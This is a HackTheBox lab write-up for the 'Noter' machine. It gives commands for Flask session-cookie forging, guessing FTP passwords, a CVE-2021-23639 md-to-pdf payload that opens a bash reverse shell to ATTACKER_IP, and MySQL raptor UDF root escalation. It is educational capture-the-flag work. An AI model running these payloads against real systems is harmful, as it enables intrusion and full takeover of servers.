HTB: Noter Writeup
Noter - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Noter |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Noter is a Flask-based note-taking application backed by MySQL. The signing secret for its session cookies is a weak, wordlist-crackable value, which allows forging a session for another user without ever knowing their password. That hijacked session leaks FTP credentials, which in turn expose an application backup containing hardcoded MySQL root credentials and reveal a vulnerable Node dependency (md-to-pdf 4.1.0) used for PDF export. That dependency is vulnerable to CVE-2021-23639, a JS-injection RCE via markdown frontmatter, which gives a shell as svc. Because mysqld runs as root and the MySQL root credentials were already recovered from the backup, a classic raptor UDF (do_system) privilege escalation completes the chain to full root.
TL;DR: nmap recon (FTP/SSH/Flask on 5000) → flask-unsign cracks session secret (secret123) → forge session cookie for user blue → hijacked VIP dashboard leaks FTP creds → FTP as blue → note reveals default password format → guess ftp_admin creds → backup zip leaks MySQL root creds + reveals vulnerable md-to-pdf 4.1.0 → CVE-2021-23639 RCE via malicious rce.md frontmatter → reverse shell as svc → user flag → mysqld running as root + recovered MySQL creds → raptor UDF (do_system) privesc → root flag.
Reconnaissance
Port Scanning
# Full TCP port sweep followed by service/version detectionnmap -sC -sV -T4 -p- TARGET_IPResults:
| Port | Service | Details |
|---|---|---|
| 21/tcp | FTP | revisited later once credentials were recovered |
| 22/tcp | SSH | not used for initial access |
| 5000/tcp | HTTP | Werkzeug/Flask dev server hosting the “Noter” note-taking app |
Service Enumeration
Port 5000 — Noter (Flask app). The application issues a signed Flask session cookie (session=...) to every client, whether authenticated or not. Flask’s session cookies are signed, not encrypted — the payload ({'logged_in': ..., 'username': ...}) can be read by anyone, but a valid signature requires the app’s SECRET_KEY. If that key is weak or guessable, an attacker can forge arbitrary session contents.
# Capture a session cookie from the app, then attempt to recover the secret key# using flask-unsign's bundled common-secrets wordlistflask-unsign --unsign --cookie '<captured session cookie value>'This recovered the signing secret: secret123.
Port 21 — FTP. Not accessible with any credentials at this stage; came back into play only after the session hijack below leaked valid FTP creds.
Vulnerability Assessment
- Flask session cookies signed with a weak, dictionary-crackable
SECRET_KEY→ arbitrary session/user forgery. - FTP credentials reused between accounts following a predictable default password format.
- MySQL root credentials hardcoded in an application source backup reachable via FTP.
md-to-pdf4.1.0 used server-side for note export — vulnerable to CVE-2021-23639 (RCE via JS frontmatter injection).mysqldrunning asroot→ classic MySQL UDF privilege escalation path.
Initial Foothold
Cracking the session secret and forging a cookie
With the secret key (secret123) known, a valid session cookie can be forged for any username without needing that user’s password — flask-unsign handles both cracking (--unsign) and forging (--sign):
# Forge a session identifying as the app user 'blue' (identified during enumeration# of the app's note content), marking the session as already logged inflask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123The gotcha: the jump box used to craft this cookie had a clock running ~7 hours ahead of the target. Flask’s session serializer (itsdangerous) embeds an issue timestamp in the signed payload; when the target validated the forged cookie, the computed age came out negative (the token appeared to be issued in the future relative to the target’s own clock). itsdangerous 2.x treats this as invalid and silently rejects it — the app just 302-redirects back to login with no error, which makes it look like the secret key or payload is wrong when the actual problem is clock skew.
Fix: sign the cookie with the jump box’s clock rolled back behind the target’s UTC time using faketime:
# Roll the local clock back ~7h so the embedded itsdangerous timestamp# is not ahead of the target's clock, then sign the cookie under that fake timefaketime '-7 hours' flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123Replacing the browser’s session cookie with this value and reloading /dashboard returned HTTP 200 as user blue — a hijacked, VIP-tier session with no password ever known.
Pivoting through FTP to an application backup
blue’s VIP notes contained FTP credentials for the account. Logging into FTP as blue surfaced a note written by ftp_admin referencing the site’s default password generation format (username@site_name!). Since blue’s own password fit that pattern, the same format was tried against ftp_admin:
# ftp_admin's password had never been rotated off the site's default formatftp ftp_admin@TARGET_IP# password: ftp_admin@Noter!The ftp_admin FTP account held application backup zips. Extracting them surfaced app.py, which hardcoded MySQL credentials:
app.config['MYSQL_USER'] = 'root'app.config['MYSQL_PASSWORD'] = 'Nildogg36'The same backup’s misc/package-lock.json pinned md-to-pdf at version 4.1.0 — vulnerable to CVE-2021-23639, a remote code execution issue where markdown frontmatter delimited by ---js ... --- is evaluated as raw JavaScript by the renderer, including require('child_process').
RCE via CVE-2021-23639 (md-to-pdf 4.1.0)
The app’s /export_note_remote endpoint fetches an attacker-hosted .md file and pipes it through md-to-pdf for export. Because the vulnerable version evaluates ---js frontmatter blocks as JavaScript, a hosted markdown file can execute arbitrary shell commands on the server:
# Host a malicious markdown file whose ---js frontmatter shells out via# child_process.execSync — encode the reverse shell as base64 to dodge# quoting issues in the injected JS stringCMD='bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'B64=$(echo -n "$CMD" | base64 -w0)
cat > rce.md <<EOF---js((require("child_process")).execSync("echo $B64 | base64 -d | bash"))---RCEEOF
# Serve it locally so the target's export feature can fetch itpython3 -m http.server 8000Submitting http://ATTACKER_IP:8000/rce.md to the app’s “Export directly from cloud” field triggered the fetch, md-to-pdf evaluated the frontmatter, and a reverse shell landed as user svc.
# Stabilize the shellpython3 -c "import pty; pty.spawn('/bin/bash')"
cat /home/svc/user.txt# <redacted>Privilege Escalation
Checking running processes revealed mysqld running as root:
ps aux | grep mysqld# root ... /usr/sbin/mariadbd ...Combined with the MySQL root/Nildogg36 credentials already recovered from the app.py backup, this is the classic raptor UDF (User-Defined Function) privilege escalation: MySQL can be made to load an attacker-supplied shared object as a UDF, and any function it exports runs with the privileges of the MySQL server process — here, root.
# Compile the raptor UDF shared object on-target (svc has gcc available)gcc -g -c raptor_udf2.cgcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc-- Authenticate to MySQL using the credentials recovered from app.py-- mysql -u root -p'Nildogg36' mysql
-- Stage the compiled .so inside the DB as a blob, then dump it straight-- into MySQL's plugin directory (mariadb19/plugin) using dumpfileCREATE TABLE foo(line blob);INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));SELECT * FROM foo INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
-- Register the exported symbol as a callable SQL functionCREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
-- do_system() now executes shell commands as the mysqld process owner: rootSELECT do_system('id > /tmp/root_id; chmod 777 /tmp/root_id');do_system() executed with uid=0(root), confirming full privilege escalation via the MySQL daemon.
cat /root/root.txt# <redacted>Attack Chain Summary
Nmap recon (FTP/SSH/Flask:5000) → flask-unsign cracks session SECRET_KEY (secret123) → forge session cookie for user 'blue' (faketime fixes 7h clock-skew rejection) → hijacked VIP dashboard leaks FTP creds → FTP as blue → note reveals default password format (user@site!) → guessed ftp_admin creds → backup zip → MySQL root creds + md-to-pdf 4.1.0 version disclosure → CVE-2021-23639 RCE via malicious rce.md frontmatter (/export_note_remote) → reverse shell as svc → USER FLAG → mysqld running as root + recovered MySQL creds → raptor UDF (do_system) privesc → ROOT FLAGTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service/version detection |
flask-unsign | Cracking the Flask session SECRET_KEY and forging session cookies |
faketime | Backdating the local clock to defeat itsdangerous timestamp rejection |
ftp | Retrieving harvested credentials and application backup zips |
python3 -m http.server | Hosting the malicious rce.md payload for the export-from-cloud feature |
gcc | Compiling the raptor UDF shared object on-target |
mysql client | Loading the UDF and invoking do_system() as root |
nc | Catching reverse shells |
Key Learnings
Techniques Practiced
- Flask session cookie forgery via a cracked
SECRET_KEY(flask-unsign) - Working around signed-token clock-skew rejection with
faketime - Credential harvesting through a hijacked session and default-password-format deduction
- Exploiting CVE-2021-23639 in
md-to-pdf4.1.0 (JS injection via markdown frontmatter) - MySQL raptor UDF (
do_system) privilege escalation whenmysqldruns as root
Lessons Learned
- Flask’s session cookie is signed, not encrypted — its contents are always readable, and if the
SECRET_KEYis weak, the entire authentication model collapses to “guess the secret.” - Signed tokens with embedded timestamps (
itsdangerous, JWTs, etc.) are sensitive to clock skew between the forging host and the validating host — a forged token can be perfectly correct and still get silently rejected if the attacker’s clock is ahead. Always check attacker/target clock drift before spending time re-guessing a secret or payload. - Default password formats (
username@site_name!) are only as strong as their inconsistent rotation — one leaked example (blue’s password) is enough to derive every other unrotated account. - Backup archives are a durable source of hardcoded secrets; always pull the version-locked dependency manifest (
package-lock.json) out of them too — it disclosed the exactmd-to-pdfversion that keyed the RCE. mysqldrunning asrootturns any recovered MySQL credential into a root primitive via UDFs — this should be treated as equivalent to a root credential leak.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Noter — dotguy, Document No. D22.100.197, machine authored by kavigihan. Used only as explanatory reference for the session-cookie-signing mechanics, the CVE-2021-23639
md-to-pdfPoC structure, and the raptor UDF privilege-escalation technique; all IPs, credentials, and command output in this writeup are from the author’s own solve.